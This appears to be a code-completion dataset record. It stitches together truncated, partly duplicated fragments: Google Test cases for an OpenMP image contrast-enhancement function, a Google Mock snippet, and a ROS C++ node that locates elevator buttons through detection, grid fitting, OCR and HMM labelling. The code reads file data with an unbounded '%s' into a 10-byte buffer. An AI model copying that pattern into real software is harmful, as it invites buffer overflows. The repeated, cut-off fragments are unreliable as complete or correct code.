TEST(Sequential_Contrast_Enhancement, Test_Check_Stretching_Correct) { const int min = 6; const int max = 158; const int value = 18; ASSERT_EQ(20, linearHistogramStretching(value, max, min)); } TEST(Sequential_Contrast_Enhancement, Test_Result_Matrix_Size_Negative) { const int matrixWidth = 15; const int matrixHeight = -14; const std::vector<int> matrix(abs(matrixWidth * matrixHeight)); ASSERT_ANY_THROW(getResultMatrixOmp(matrix, matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Result_Matrix_Wrong_Size) { const int matrixWidth = 15; const int matrixHeight = 14; const std::vector<int> matrix(matrixWidth * matrixHeight + 1); ASSERT_ANY_THROW(getResultMatrixOmp(matrix, matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Result_Matrix_Size_Correctly) { const int matrixWidth = 30; const int matrixHeight = 29; const std::vector<int> matrix = getRandomMatrix(matrixWidth, matrixHeight); ASSERT_NO_THROW(getResultMatrixOmp(matrix, matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Check_Result_Matrix_Correct_100x100) { int width = 100, height = 100; std::vector<int> resultSeq(width * height); std::vector<int> resultOmp(width * height); const std::vector<int> matrix = getRandomMatrix(width, height); resultSeq = getResultMatrixSeq(matrix, width, height); resultOmp = getResultMatrixOmp(matrix, width, height); ASSERT_EQ(resultSeq, resultOmp); } TEST(Sequential_Contrast_Enhancement, Test_Check_Result_Matrix_Correct_400x400) { int width = 400, height = 400; std::vector<int> resultSeq(width * height); std::vector<int> resultOmp(width * height); const std::vector<int> matrix = getRandomMatrix(width, height); resultSeq = getResultMatrixSeq(matrix, width, height); resultOmp = getResultMatrixOmp(matrix, width, height); ASSERT_EQ(resultSeq, resultOmp); } TEST(Sequential_Contrast_Enhancement, Test_Check_Result_Matrix_Correct_4x4) { int width = 4, height = 4; std::vector<int> initial(width * height); std::vector<int> result(width * height); initial = { 166, 136, 173, 190, 203, 103, 135, 112, 11, 195, 244, 47, 244, 246, 144, 223 }; for (int i = 0; i < width * height; i++) { result[i] = static_cast<int>(-11.936171f + 1.085106f * initial[i]); } ASSERT_EQ(result, getResultMatrixOmp(initial, width, height)); } TEST(Sequential_Contrast_Enhancement, Test_Check_Result_Matrix_Correct_4x5) { int width = 4, height = 5; std::vector<int> initial(width * height); std::vector<int> result(width * height); initial = { 53, 217, 91, 175, 51, 83, 141, 150, 60, 149, 44, 195, 250, 222, 144, 4, 30, 76, 147, 200 }; for (int i = 0; i < width * height; i++) { result[i] = static_cast<int>(-4.146341f + 1.036585f * initial[i]); } ASSERT_EQ(result, getResultMatrixOmp(initial, width, height)); } int main(int argc, char **argv) { ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }
 #include <gtest/gtest.h> #include <omp.h> #include <vector> #include <ctime> #include <iostream> #include "./contrast_enhancement.h" TEST(Sequential_Contrast_Enhancement, Test_Random_Matrix_Size_Zero) { const int matrixWidth = 15; const int matrixHeight = 0; ASSERT_ANY_THROW(getRandomMatrix(matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Random_Matrix_Size_Correctly) { const int matrixWidth = 10; const int matrixHeight = 10; ASSERT_NO_THROW(getRandomMatrix(matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Stretching_Minimum_Greather_Maximum) { const int min = 200; const int max = 50; const int value = 10; ASSERT_ANY_THROW(linearHistogramStretching(value, max, min)); } TEST(Sequent
TEST(Sequential_Contrast_Enhancement, Test_Check_Stretching_Correct) { const int min = 6; const int max = 158; const int value = 18; ASSERT_EQ(20, linearHistogramStretching(value, max, min)); } TEST(Sequential_Contrast_Enhancement, Test_Result_Matrix_Size_Negative) { const int matrixWidth = 15; const int matrixHeight = -14; const std::vector<int> matrix(abs(matrixWidth * matrixHeight)); ASSERT_ANY_THROW(getResultMatrixOmp(matrix, matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Result_Matrix_Wrong_Size) { const int matrixWidth = 15; const int matrixHeight = 14; const std::vector<int> matrix(matrixWidth * matrixHeight + 1); ASSERT_ANY_THROW(getResultMatrixOmp(matrix, matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Result_Matrix_Size_Correctly) { const int matrixWidth = 30; const int matrixHeight = 29; const std::vector<int> matrix = getRandomMatrix(matrixWidth, matrixHeight); ASSERT_NO_THROW(getResultMatrixOmp(matrix, matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Check_Result_Matrix_Correct_100x100) { int width = 100, height = 100; std::vector<int> resultSeq(width * height); std::vector<int> resultOmp(width * height); const std::vector<int> matrix = getRandomMatrix(width, height); resultSeq = getResultMatrixSeq(matrix, width, height); resultOmp = getResultMatrixOmp(matrix, width, height); ASSERT_EQ(resultSeq, resultOmp); } TEST(Sequential_Contrast_Enhancement, Test_Check_Result_Matrix_Correct_400x400) { int width = 400, height = 400; std::vector<int> resultSeq(width * height); std::vector<int> resultOmp(width * height); const std::vector<int> matrix = getRandomMatrix(width, height); resultSeq = getResultMatrixSeq(matrix, width, height); resultOmp = getResultMatrixOmp(matrix, width, height); ASSERT_EQ(resultSeq, resultOmp); } TEST(Sequential_Contrast_Enhancement, Test_Check_Result_Matrix_Correct_4x4) { int width = 4, height = 4; std::vector<int> initial(width * height); std::vector<int> result(width * height); initial = { 166, 136, 173, 190, 203, 103, 135, 112, 11, 195, 244, 47, 244, 246, 144, 223 }; for (int i = 0; i < width * height; i++) { result[i] = static_cast<int>(-11.936171f + 1.085106f * initial[i]); } ASSERT_EQ(result, getResultMatrixOmp(initial, width, height)); } TEST(Sequential_Contrast_Enhancement, Test_Check_Result_Matrix_Correct_4x5) { int width = 4, height = 5; std::vector<int> initial(width * height); std::vector<int> result(width * height); initial = { 53, 217, 91, 175, 51, 83, 141, 150, 60, 149, 44, 195, 250, 222, 144, 4, 30, 76, 147, 200 }; for (int i = 0; i < width * height; i++) { result[i] = static_cast<int>(-4.146341f + 1.036585f * initial[i]); } ASSERT_EQ(result, getResultMatrixOmp(initial, width, height)); } int main(int argc, char **argv) { ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }
ial_Contrast_Enhancement, Test_Stretching_Minimum_Or_Maximum_False) { const int min = -5; const int max = 260; const int value = 10; ASSERT_ANY_THROW(linearHistogramStretching(value, max, min)); }
function_block-function_prefixed
[ { "content": "class BuiltInDefaultValue<const T> {\n\n public:\n\n static bool Exists() { return BuiltInDefaultValue<T>::Exists(); }\n\n static T Get() { return BuiltInDefaultValue<T>::Get(); }\n\n};\n\n\n\n// This partial specialization defines the default values for pointer\n\n// types.\n\ntemplate <typenam...
C++
pr2_coffee/elevator/find_elevator_button/nodes/find_elevator_button.cpp
atp42/jks-ros-pkg
367fc00f2a9699f33d05c7957d319a80337f1ed4
#include "find_elevator_button.h" #define DEBUG 1 #define ONLINE_PROCESS true // If we are working on the robot, set to true #define IMAGE_TYPE "unwarped.jpg" #define IMAGE_TYPE2 "stair" int START_FROM_STEP = 0; void FindElevatorButtons::init() { bVerbose = true; find_button_pkg_path = ros::getPackagePath("find_elevator_button"); if (ONLINE_PROCESS) { ros::Node *node = ros::Node::instance(); node->subscribe("elevator_buttons_request", button_request, &FindElevatorButtons::findButtons, this, 10); node->advertise<stair_msgs::Button>("single_button", 10); node->advertise<stair_msgs::AllButtons>("all_buttons", 10); cout << "Waiting for request... " << endl; } else { cout << "Enter starting step > "; cin >> START_FROM_STEP; string detectionsPath = find_button_pkg_path + "/Data/classify/final_detections"; string srcImageDir = TEST_IMAGES_PATH; vector<string> srcImageFiles; getDir(TEST_IMAGES_PATH,srcImageFiles); size_t numImages = srcImageFiles.size(); cout << "Number of Images = " << numImages << endl; size_t k = 0; cout << "Enter number of image to start with > "; cin >> k; for (; k<numImages; k++) { imageName = srcImageFiles[k].substr(0,srcImageFiles[k].length()-4); imageFile = srcImageDir + imageName + ".jpg"; cout << k << " " << imageFile << endl; gridParams.clear(); obsDetections.clear(); labeledButtons.clear(); gridPoints.clear(); svlDetections.clear(); findButtons(); cvReleaseImage(&source_image); } } } void FindElevatorButtons::findButtons() { if (ONLINE_PROCESS) { cout << "FIND BUTTONS" <<endl; gridParams.clear(); obsDetections.clear(); labeledButtons.clear(); gridPoints.clear(); svlDetections.clear(); requestedButton = button_request.button_label; cout << "FIND BUTTONS: REQUEST BUTTON FOUND" <<endl; this->imageFile = button_request.image_filename; cout << "FIND BUTTONS: Extract image Name" <<endl; size_t beginPos = imageFile.find_last_of("/") + 1; size_t len = imageFile.find_last_of(".") - beginPos; this->imageName = imageFile.substr(beginPos, len); cout << "Image name: " << imageName << endl; this->source_image = cvLoadImage(imageFile.c_str(), CV_LOAD_IMAGE_COLOR); assert(source_image != NULL); int nPixels = source_image->width*source_image->height; if (bVerbose) { cerr << "Loaded " << source_image->width << "x" << source_image->height << " from " << imageFile << endl; } cout << "\n\n\n*** SVL DETECTIONS ***\n\n\n"; getSvlDetections(); cout << "\n\n\n*** EM GRID FIT ***\n\n\n"; fitGridToDetections(nPixels); cout << "\n\n\n*** LABEL DETECTIONS ***\n\n\n"; labelDetections(); cout << "\n\n\n*** LABEL VITERBI ***\n\n\n"; labelHMM(); cout << "\n\n\n*** FIND REQUESTED BUTTON ***\n\n\n"; getButtonInfo(); } else { cout << "Image name: " << imageName << endl; source_image = cvLoadImage(imageFile.c_str(), CV_LOAD_IMAGE_COLOR); assert(source_image != NULL); int nPixels = source_image->width*source_image->height; if (bVerbose) { cerr << "Loaded " << source_image->width << "x" << source_image->height << " from " << imageFile << endl; } getGroundTruthData(); if (START_FROM_STEP <= 0) { cout << "\n\n\n*** EM GRID FIT ***\n\n\n"; getSvlDetections(); } if (START_FROM_STEP <= 1) { cout << "\n\n\n*** EM GRID FIT ***\n\n\n"; fitGridToDetections(nPixels); } if (START_FROM_STEP <= 2){ cout << "\n\n\n*** LABEL DETECTIONS ***\n\n\n"; labelDetections(); } if (START_FROM_STEP <= 3) { cout << "\n\n\n*** LABEL VITERBI ***\n\n\n"; labelHMM(); cout << "\n\n\n*** FIND REQUESTED BUTTON ***\n\n\n"; getButtonInfo(); } } } void FindElevatorButtons::getSvlDetections() { svlDetections.clear(); string model = DEFAULT_MODEL; string name = this->imageName; string ground_truths = ""; bool isCallPanel = false; string file =this->imageFile; svlObject2dFrame frame; cout << "SVL: creating Classifier" <<endl; svlElevatorClassifier c = svlElevatorClassifier(file,model,isCallPanel,true,ground_truths); c.classify(); bool l = readCacheObject2dFrame(FINAL_DETECTIONS_PATH.c_str(), (imageName + "_" + model).c_str(), this->svlDetections); if (!l){ cout << "Couldn't load new detections" << endl; } IplImage* svl_image = cvCloneImage(source_image); for (size_t k=0; k<svlDetections.size(); k++) { cvRectangle(svl_image, cvPoint(int(svlDetections[k].x), int(svlDetections[k].y)), cvPoint(int(svlDetections[k].x + svlDetections[k].w - 1), int(svlDetections[k].y + svlDetections[k].h - 1)), CV_RGB(0, 255, 0), 1); } string debugFile = find_button_pkg_path + "/data/debug/" + imageName + "_svl.jpg"; cvSaveImage(debugFile.c_str(), svl_image); cout << "Number of detections: " << svlDetections.size() << endl; } void FindElevatorButtons::fitGridToDetections(int nPixels) { emg = new EMGridFit(bVerbose); gridParams.clear(); obsDetections.clear(); cout << "Number of detections: " << svlDetections.size() << endl; cout << "Image Name: " << imageName << endl; cout << "Image File: " << imageFile << endl; emg->computeGridParams(svlDetections, gridParams, obsDetections, nPixels, imageName, imageFile); delete emg; for (size_t i=0; i<gridParams.size(); i++) { gridParams[i].gx += gridParams[i].dx; gridParams[i].gy += gridParams[i].dy; } IplImage* em_image = cvCloneImage(source_image); CvPoint pt1, pt2; int line_width = 4; vector<CvScalar> colors; colors.push_back(CV_RGB(255, 0, 0)); colors.push_back(CV_RGB(255, 153, 18)); colors.push_back(CV_RGB(155, 48, 255)); colors.push_back(CV_RGB(0, 0 ,255)); colors.push_back(CV_RGB(0, 255, 0)); for (size_t i=0; i<gridParams.size(); i++) { cout << "Drawing grid with parameters: " << endl; cout << "gx: " << gridParams[i].gx << endl; cout << "gy: " << gridParams[i].gy << endl; cout << "dx: " << gridParams[i].dx << endl; cout << "dy: " << gridParams[i].dy << endl; cout << "ncols: " << gridParams[i].ncols << endl; cout << "nrows: " << gridParams[i].nrows << endl; for (int row=0; row<=gridParams[i].nrows; row++) { for (int col=0; col<gridParams[i].ncols; col++) { pt1.x = int(gridParams[i].gx + gridParams[i].dx*(col-0.75)); pt1.y = int(gridParams[i].gy + gridParams[i].dy*(row-0.5)); pt2.x = int(gridParams[i].gx + gridParams[i].dx*(col+0.25)); pt2.y = pt1.y; if (DEBUG > 1) { cout << "pt1: " << pt1.x << "," << pt1.y << endl; cout << "pt2: " << pt2.x << "," << pt2.y << endl; } if (nPixels > 500000) cvLine(em_image, pt1, pt2, colors[i], line_width, 8); else cvLine(em_image, pt1, pt2, colors[i], line_width, 2); } } for (int col=0; col<=gridParams[i].ncols; col++) { for (int row=0; row<gridParams[i].nrows; row++) { pt1.x = int(gridParams[i].gx + gridParams[i].dx*(col-0.75)); pt1.y = int(gridParams[i].gy + gridParams[i].dy*(row-0.5)); pt2.x = pt1.x; pt2.y = int(gridParams[i].gy + gridParams[i].dy*(row+0.5)); if (DEBUG > 1) { cout << "pt1: " << pt1.x << "," << pt1.y << endl; cout << "pt2: " << pt2.x << "," << pt2.y << endl; } if (nPixels > 500000) cvLine(em_image, pt1, pt2, colors[i], line_width, 8); else cvLine(em_image, pt1, pt2, colors[i], line_width, 2); } } for (size_t k=0; k<obsDetections[i].size(); k++) { if (obsDetections[i][k].isButton) { if (nPixels > 500000) { cvCircle(em_image, cvPoint(int(obsDetections[i][k].x), int(obsDetections[i][k].y)), 15, colors[i], -1); } else { cvCircle(em_image, cvPoint(int(obsDetections[i][k].x), int(obsDetections[i][k].y)), 3, colors[i], -1); } } } } string debugFile =DEBUG_PATH + imageName + "_em.jpg"; cvSaveImage(debugFile.c_str(), em_image); } void FindElevatorButtons::labelDetections() { LabelClassify label(this->imageFile,gridParams,obsDetections); label.cropLabels(); label.binarize(); label.tesseractOCR(); return; } void FindElevatorButtons::labelHMM() { hmml = new HMMLabel(); hmml->getButtonLabels(gridParams,obsDetections,labeledButtons,imageName,imageFile,(START_FROM_STEP==3)); delete hmml; } void FindElevatorButtons::getButtonInfo() { ros::Node* node = ros::Node::instance(); stair_msgs::Button tmpButton; all_buttons.data.clear(); cout << "\nDetermining all buttons" << endl; for (size_t i=0; i<labeledButtons.size(); i++) { if (labeledButtons[i].isButton == 1) { tmpButton.x = labeledButtons[i].x; tmpButton.y = labeledButtons[i].y; tmpButton.label = labeledButtons[i].label; all_buttons.data.push_back(tmpButton); } } if (DEBUG > 0) { cout << "\n\nALL BUTTON DATA" << endl; for (size_t i=0; i<all_buttons.data.size(); i++) { cout << "\t" << all_buttons.data[i].label; cout << "\t x=" << int(all_buttons.data[i].x); cout << "\t y=" << int(all_buttons.data[i].y) << endl;; } } if (ONLINE_PROCESS==1) { cout << "\n Searching for button request" << endl; int i = 0; single_button.x = -1; single_button.y = -1; single_button.label = "ButtonDoesNotExist"; for (; i<all_buttons.data.size(); i++) { if (button_request.button_label.compare(all_buttons.data[i].label)==0) { if (single_button.x != -1) cout << "Multiple buttons with desired label found. Choosing 'best'." << endl; single_button = all_buttons.data[i]; } } if (single_button.x != -1) cout << "FOUND DESIRED BUTTON!" << endl; else cout << "DID NOT FIND DESIRED BUTTON!" << endl; node->publish("single_button", single_button); } } void FindElevatorButtons::getGroundTruthData() { string imageNameSave = imageName; string imageFileSave = imageFile; string temp_file; int isButtonTemp,tempBool,labelIndTemp; char labelTemp[10]; FILE* fid; bool done = FALSE; float junk; grid_param_struct tempGridParams; svlObject2d temp_detections; button_struct tempObsDetections; if (START_FROM_STEP >= 1) { temp_file = GROUND_TRUTH_DETECTIONS_PATH + imageNameSave + "_obs.txt"; fid = fopen(temp_file.c_str(),"r"); assert(fid!=NULL); while (done==FALSE) { done = (fscanf(fid,"%lf,%lf,%lf,%d,%f,%s\n", &temp_detections.x,&temp_detections.y, &temp_detections.w, &isButtonTemp,&junk,labelTemp) == EOF); if (isButtonTemp == 1) { temp_detections.h = temp_detections.w; temp_detections.x -= temp_detections.w/2; temp_detections.y -= temp_detections.h/2; svlDetections.push_back(temp_detections); } } fclose(fid); } if (START_FROM_STEP >= 2) { temp_file = GROUND_TRUTH_GRID_PATH + imageNameSave + "_grid.txt"; fid = fopen(temp_file.c_str(),"r"); assert(fid!=NULL); done = FALSE; while(done==FALSE) { done = (fscanf(fid,"%d,%d,%d,%lf,%lf,%lf,%lf,%d\n",&tempGridParams.gridNum, &tempGridParams.nrows,&tempGridParams.ncols,&tempGridParams.gx, &tempGridParams.gy,&tempGridParams.dx,&tempGridParams.dy, &tempGridParams.nDetections)==EOF); if (done == TRUE) break; tempGridParams.nDetections = tempGridParams.nrows*tempGridParams.ncols; tempGridParams.gridNum--; gridParams.push_back(tempGridParams); } fclose(fid); obsDetections.resize(gridParams.size()); temp_file = GROUND_TRUTH_DETECTIONS_PATH + imageNameSave + "_obs.txt"; fid = fopen(temp_file.c_str(),"r"); assert(fid!=NULL); for (size_t i=0; i<gridParams.size(); i++) { for (size_t j=0; j<gridParams[i].ncols*gridParams[i].nrows; j++) { fscanf(fid,"%lf,%lf,%f,%d,%d,%s\n",&tempObsDetections.x,&tempObsDetections.y, &junk,&tempBool,&labelIndTemp,labelTemp); tempObsDetections.isButton = (bool)tempBool; if (START_FROM_STEP >= 3) { tempObsDetections.label = labelTemp; tempObsDetections.labelInd = labelIndTemp; } obsDetections[i].push_back(tempObsDetections); } } fclose(fid); } imageName = imageNameSave; imageFile = imageFileSave; } bool FindElevatorButtons::getDir(string dir, vector<string> &files) { DIR *dp; struct dirent *dirp; string filename; if((dp = opendir(dir.c_str())) == NULL) { cout << "Error(" << errno << ") opening " << dir << endl; return false; } while ((dirp = readdir(dp)) != NULL) { filename = string(dirp->d_name); if (filename.length() > 2 && filename.find(IMAGE_TYPE)!=string::npos && filename.find(IMAGE_TYPE2)!=string::npos) { files.push_back(filename); } } closedir(dp); return true; } void FindElevatorButtons::shutdown() { } int main (int argc, char **argv) { if (ONLINE_PROCESS) { ros::init(argc, argv); ros::Node n("find_elevator_buttons"); FindElevatorButtons buttonFinder; buttonFinder.init(); n.spin(); buttonFinder.shutdown(); printf("Ros process find_elevator_buttons is shutting down. \n"); } else { FindElevatorButtons buttonFinder; buttonFinder.init(); buttonFinder.shutdown(); } return 0; }
#include "find_elevator_button.h" #define DEBUG 1 #define ONLINE_PROCESS true // If we are working on the robot, set to true #define IMAGE_TYPE "unwarped.jpg" #define IMAGE_TYPE2 "stair" int START_FROM_STEP = 0; void FindElevatorButtons::init() { bVerbose = true; find_button_pkg_path = ros::getPackagePath("find_elevator_button"); if (ONLINE_PROCESS) { ros::Node *node = ros::Node::instance(); node->subscribe("elevator_buttons_request", button_request, &FindElevatorButtons::findButtons, this, 10); node->advertise<stair_msgs::Button>("single_button", 10); node->advertise<stair_msgs::AllButtons>("all_buttons", 10); cout << "Waiting for request... " << endl; } else { cout << "Enter starting step > "; cin >> START_FROM_STEP; string detectionsPath = find_button_pkg_path + "/Data/classify/final_detections"; string srcImageDir = TEST_IMAGES_PATH; vector<string> srcImageFiles; getDir(TEST_IMAGES_PATH,srcImageFiles); size_t numImages = srcImageFiles.size(); cout << "Number of Images = " << numImages << endl; size_t k = 0; cout << "Enter number of image to start with > "; cin >> k; for (; k<numImages; k++) { imageName = srcImageFiles[k].substr(0,srcImageFiles[k].length()-4); imageFile = srcImageDir + imageName + ".jpg"; cout << k << " " << imageFile << endl; gridParams.clear(); obsDetections.clear(); labeledButtons.clear(); gridPoints.clear(); svlDetections.clear(); findButtons(); cvReleaseImage(&source_image); } } } void FindElevatorButtons::findButtons() { if (ONLINE_PROCESS) { cout << "FIND BUTTONS" <<endl; gridParams.clear(); obsDetections.clear(); labeledButtons.clear(); gridPoints.clear(); svlDetections.clear(); requestedButton = button_request.button_label; cout << "FIND BUTTONS: REQUEST BUTTON FOUND" <<endl; this->imageFile = button_request.image_filename; cout << "FIND BUTTONS: Extract image Name" <<endl; size_t beginPos = imageFile.find_last_of("/") + 1; size_t len = imageFile.find_last_of(".") - beginPos; this->imageName = imageFile.substr(beginPos, len); cout << "Image name: " << imageName << endl; this->source_image = cvLoadImage(imageFile.c_str(), CV_LOAD_IMAGE_COLOR); assert(source_image != NULL); int nPixels = source_image->width*source_image->height; if (bVerbose) { cerr << "Loaded " << source_image->width << "x" << source_image->height << " from " << imageFile << endl; } cout << "\n\n\n*** SVL DETECTIONS ***\n\n\n"; getSvlDetections(); cout << "\n\n\n*** EM GRID FIT ***\n\n\n"; fitGridToDetections(nPixels); cout << "\n\n\n*** LABEL DETECTIONS ***\n\n\n"; labelDetections(); cout << "\n\n\n*** LABEL VITERBI ***\n\n\n"; labelHMM(); cout << "\n\n\n*** FIND REQUESTED BUTTON ***\n\n\n"; getButtonInfo(); } else { cout << "Image name: " << imageName << endl; source_image = cvLoadImage(imageFile.c_str(), CV_LOAD_IMAGE_COLOR); assert(source_image != NULL); int nPixels = source_image->width*source_image->height; if (bVerbose) { cerr << "Loaded " << source_image->width << "x" << source_image->height << " from " << imageFile << endl; } getGroundTruthData(); if (START_FROM_STEP <= 0) { cout << "\n\n\n*** EM GRID FIT ***\n\n\n"; getSvlDetections(); } if (START_FROM_STEP <= 1) { cout << "\n\n\n*** EM GRID FIT ***\n\n\n"; fitGridToDetections(nPixels); } if (START_FROM_STEP <= 2){ cout << "\n\n\n*** LABEL DETECTIONS ***\n\n\n"; labelDetections(); }
} } void FindElevatorButtons::getSvlDetections() { svlDetections.clear(); string model = DEFAULT_MODEL; string name = this->imageName; string ground_truths = ""; bool isCallPanel = false; string file =this->imageFile; svlObject2dFrame frame; cout << "SVL: creating Classifier" <<endl; svlElevatorClassifier c = svlElevatorClassifier(file,model,isCallPanel,true,ground_truths); c.classify(); bool l = readCacheObject2dFrame(FINAL_DETECTIONS_PATH.c_str(), (imageName + "_" + model).c_str(), this->svlDetections); if (!l){ cout << "Couldn't load new detections" << endl; } IplImage* svl_image = cvCloneImage(source_image); for (size_t k=0; k<svlDetections.size(); k++) { cvRectangle(svl_image, cvPoint(int(svlDetections[k].x), int(svlDetections[k].y)), cvPoint(int(svlDetections[k].x + svlDetections[k].w - 1), int(svlDetections[k].y + svlDetections[k].h - 1)), CV_RGB(0, 255, 0), 1); } string debugFile = find_button_pkg_path + "/data/debug/" + imageName + "_svl.jpg"; cvSaveImage(debugFile.c_str(), svl_image); cout << "Number of detections: " << svlDetections.size() << endl; } void FindElevatorButtons::fitGridToDetections(int nPixels) { emg = new EMGridFit(bVerbose); gridParams.clear(); obsDetections.clear(); cout << "Number of detections: " << svlDetections.size() << endl; cout << "Image Name: " << imageName << endl; cout << "Image File: " << imageFile << endl; emg->computeGridParams(svlDetections, gridParams, obsDetections, nPixels, imageName, imageFile); delete emg; for (size_t i=0; i<gridParams.size(); i++) { gridParams[i].gx += gridParams[i].dx; gridParams[i].gy += gridParams[i].dy; } IplImage* em_image = cvCloneImage(source_image); CvPoint pt1, pt2; int line_width = 4; vector<CvScalar> colors; colors.push_back(CV_RGB(255, 0, 0)); colors.push_back(CV_RGB(255, 153, 18)); colors.push_back(CV_RGB(155, 48, 255)); colors.push_back(CV_RGB(0, 0 ,255)); colors.push_back(CV_RGB(0, 255, 0)); for (size_t i=0; i<gridParams.size(); i++) { cout << "Drawing grid with parameters: " << endl; cout << "gx: " << gridParams[i].gx << endl; cout << "gy: " << gridParams[i].gy << endl; cout << "dx: " << gridParams[i].dx << endl; cout << "dy: " << gridParams[i].dy << endl; cout << "ncols: " << gridParams[i].ncols << endl; cout << "nrows: " << gridParams[i].nrows << endl; for (int row=0; row<=gridParams[i].nrows; row++) { for (int col=0; col<gridParams[i].ncols; col++) { pt1.x = int(gridParams[i].gx + gridParams[i].dx*(col-0.75)); pt1.y = int(gridParams[i].gy + gridParams[i].dy*(row-0.5)); pt2.x = int(gridParams[i].gx + gridParams[i].dx*(col+0.25)); pt2.y = pt1.y; if (DEBUG > 1) { cout << "pt1: " << pt1.x << "," << pt1.y << endl; cout << "pt2: " << pt2.x << "," << pt2.y << endl; } if (nPixels > 500000) cvLine(em_image, pt1, pt2, colors[i], line_width, 8); else cvLine(em_image, pt1, pt2, colors[i], line_width, 2); } } for (int col=0; col<=gridParams[i].ncols; col++) { for (int row=0; row<gridParams[i].nrows; row++) { pt1.x = int(gridParams[i].gx + gridParams[i].dx*(col-0.75)); pt1.y = int(gridParams[i].gy + gridParams[i].dy*(row-0.5)); pt2.x = pt1.x; pt2.y = int(gridParams[i].gy + gridParams[i].dy*(row+0.5)); if (DEBUG > 1) { cout << "pt1: " << pt1.x << "," << pt1.y << endl; cout << "pt2: " << pt2.x << "," << pt2.y << endl; } if (nPixels > 500000) cvLine(em_image, pt1, pt2, colors[i], line_width, 8); else cvLine(em_image, pt1, pt2, colors[i], line_width, 2); } } for (size_t k=0; k<obsDetections[i].size(); k++) { if (obsDetections[i][k].isButton) { if (nPixels > 500000) { cvCircle(em_image, cvPoint(int(obsDetections[i][k].x), int(obsDetections[i][k].y)), 15, colors[i], -1); } else { cvCircle(em_image, cvPoint(int(obsDetections[i][k].x), int(obsDetections[i][k].y)), 3, colors[i], -1); } } } } string debugFile =DEBUG_PATH + imageName + "_em.jpg"; cvSaveImage(debugFile.c_str(), em_image); } void FindElevatorButtons::labelDetections() { LabelClassify label(this->imageFile,gridParams,obsDetections); label.cropLabels(); label.binarize(); label.tesseractOCR(); return; } void FindElevatorButtons::labelHMM() { hmml = new HMMLabel(); hmml->getButtonLabels(gridParams,obsDetections,labeledButtons,imageName,imageFile,(START_FROM_STEP==3)); delete hmml; } void FindElevatorButtons::getButtonInfo() { ros::Node* node = ros::Node::instance(); stair_msgs::Button tmpButton; all_buttons.data.clear(); cout << "\nDetermining all buttons" << endl; for (size_t i=0; i<labeledButtons.size(); i++) { if (labeledButtons[i].isButton == 1) { tmpButton.x = labeledButtons[i].x; tmpButton.y = labeledButtons[i].y; tmpButton.label = labeledButtons[i].label; all_buttons.data.push_back(tmpButton); } } if (DEBUG > 0) { cout << "\n\nALL BUTTON DATA" << endl; for (size_t i=0; i<all_buttons.data.size(); i++) { cout << "\t" << all_buttons.data[i].label; cout << "\t x=" << int(all_buttons.data[i].x); cout << "\t y=" << int(all_buttons.data[i].y) << endl;; } } if (ONLINE_PROCESS==1) { cout << "\n Searching for button request" << endl; int i = 0; single_button.x = -1; single_button.y = -1; single_button.label = "ButtonDoesNotExist"; for (; i<all_buttons.data.size(); i++) { if (button_request.button_label.compare(all_buttons.data[i].label)==0) { if (single_button.x != -1) cout << "Multiple buttons with desired label found. Choosing 'best'." << endl; single_button = all_buttons.data[i]; } } if (single_button.x != -1) cout << "FOUND DESIRED BUTTON!" << endl; else cout << "DID NOT FIND DESIRED BUTTON!" << endl; node->publish("single_button", single_button); } } void FindElevatorButtons::getGroundTruthData() { string imageNameSave = imageName; string imageFileSave = imageFile; string temp_file; int isButtonTemp,tempBool,labelIndTemp; char labelTemp[10]; FILE* fid; bool done = FALSE; float junk; grid_param_struct tempGridParams; svlObject2d temp_detections; button_struct tempObsDetections; if (START_FROM_STEP >= 1) { temp_file = GROUND_TRUTH_DETECTIONS_PATH + imageNameSave + "_obs.txt"; fid = fopen(temp_file.c_str(),"r"); assert(fid!=NULL); while (done==FALSE) { done = (fscanf(fid,"%lf,%lf,%lf,%d,%f,%s\n", &temp_detections.x,&temp_detections.y, &temp_detections.w, &isButtonTemp,&junk,labelTemp) == EOF); if (isButtonTemp == 1) { temp_detections.h = temp_detections.w; temp_detections.x -= temp_detections.w/2; temp_detections.y -= temp_detections.h/2; svlDetections.push_back(temp_detections); } } fclose(fid); } if (START_FROM_STEP >= 2) { temp_file = GROUND_TRUTH_GRID_PATH + imageNameSave + "_grid.txt"; fid = fopen(temp_file.c_str(),"r"); assert(fid!=NULL); done = FALSE; while(done==FALSE) { done = (fscanf(fid,"%d,%d,%d,%lf,%lf,%lf,%lf,%d\n",&tempGridParams.gridNum, &tempGridParams.nrows,&tempGridParams.ncols,&tempGridParams.gx, &tempGridParams.gy,&tempGridParams.dx,&tempGridParams.dy, &tempGridParams.nDetections)==EOF); if (done == TRUE) break; tempGridParams.nDetections = tempGridParams.nrows*tempGridParams.ncols; tempGridParams.gridNum--; gridParams.push_back(tempGridParams); } fclose(fid); obsDetections.resize(gridParams.size()); temp_file = GROUND_TRUTH_DETECTIONS_PATH + imageNameSave + "_obs.txt"; fid = fopen(temp_file.c_str(),"r"); assert(fid!=NULL); for (size_t i=0; i<gridParams.size(); i++) { for (size_t j=0; j<gridParams[i].ncols*gridParams[i].nrows; j++) { fscanf(fid,"%lf,%lf,%f,%d,%d,%s\n",&tempObsDetections.x,&tempObsDetections.y, &junk,&tempBool,&labelIndTemp,labelTemp); tempObsDetections.isButton = (bool)tempBool; if (START_FROM_STEP >= 3) { tempObsDetections.label = labelTemp; tempObsDetections.labelInd = labelIndTemp; } obsDetections[i].push_back(tempObsDetections); } } fclose(fid); } imageName = imageNameSave; imageFile = imageFileSave; } bool FindElevatorButtons::getDir(string dir, vector<string> &files) { DIR *dp; struct dirent *dirp; string filename; if((dp = opendir(dir.c_str())) == NULL) { cout << "Error(" << errno << ") opening " << dir << endl; return false; } while ((dirp = readdir(dp)) != NULL) { filename = string(dirp->d_name); if (filename.length() > 2 && filename.find(IMAGE_TYPE)!=string::npos && filename.find(IMAGE_TYPE2)!=string::npos) { files.push_back(filename); } } closedir(dp); return true; } void FindElevatorButtons::shutdown() 